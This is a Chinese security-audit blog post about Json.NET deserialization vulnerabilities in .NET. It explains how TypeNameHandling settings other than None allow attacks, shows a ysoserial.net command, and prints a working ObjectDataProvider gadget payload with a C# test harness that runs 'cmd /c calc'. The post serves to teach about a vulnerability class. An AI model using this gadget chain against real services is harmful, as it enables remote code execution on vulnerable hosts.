zoukankan      html  css  js  c++  java
  • .Net审计之.Net Json反序列化

    .Net审计之.Net Json反序列化

    前言

    偶然下遇到一个.NET 下有意思的Json反序列化点,记录一下反序列化内容,直入主题。

    .Net Json

    常见序列化与反序列化

    NET 中常见的数据格式以及序列化方法

    官方文档:https://www.newtonsoft.com/json

    序列化

    namespace ConsoleApp1
    {
        class Program
        {
            static void Main(string[] args)
            {
                Person person = new Person();
                person.name = "nice0e3";
                person.age = 22;
    
                string json = JsonConvert.SerializeObject(person);
                Console.WriteLine(json);
                Console.ReadLine();
    
            }
    
            public class Person
            {
                public string name;
                public int age;
                static string i;
            }
        }
    }
    
    //结果:{"name":"nice0e3","age":22} 
    

    里面的i成员变量并没有被序列化进来,因为该成员变量是静态的,静态修饰的并不参与在实例化对象中,所以不会被序列化进来。

    反序列化

    string json = "{"name":"nice0e3","age":22} ";
                object v = JsonConvert.DeserializeObject(json);
                Console.WriteLine(v);
               
                Console.ReadLine();
    //结果:
    {
      "name": "nice0e3",
      "age": 22
    }
    

    反序列化攻击

    JsonConvert.DeserializeObject第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理,其中TypeNameHandling可选择的成员分为五种

    默认情况下TypeNameHandling为None,表示Json.NET在反序列化期间不读取或写入类型名称。会使传递就去类名无法进行读取和写入,即不可触发漏洞。

    只有当 TypeNameHandling 不为 None 时,传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。

    设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞

    ysoserial.net:https://github.com/pwntester/ysoserial.net

    yso生成数据:

    /ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
    
    {
        '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
        'MethodName':'Start',
        'MethodParameters':{
            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            '$values':['cmd', '/c calc']
        },
        'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
    
       static void Main(string[] args)
            {
             
                string json = @"{
        '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
        'MethodName':'Start',
        'MethodParameters':{
            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            '$values':['cmd', '/c calc']
        },
        'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
    }";
    
                Object js = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
                {
                    TypeNameHandling = TypeNameHandling.All
                });
                Console.WriteLine(js);
                Console.ReadKey();
    

    参考

    https://www.websecuritys.cn/archives/netxlh-1.html

    https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/121

  • 相关阅读:
    cocos2dx 动画控制概要
    lua与C交互 具体
    lua与C/C++交互概要
    3D图像算法
    lua 语言笔记
    iostransitiontranslate闪屏问题总结
    document.onreadystatechange()来判断页面加载完
    JavaScript装逼指南
    box-shadow 阴影
    web小技巧
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15294585.html
Copyright © 2011-2022 走看看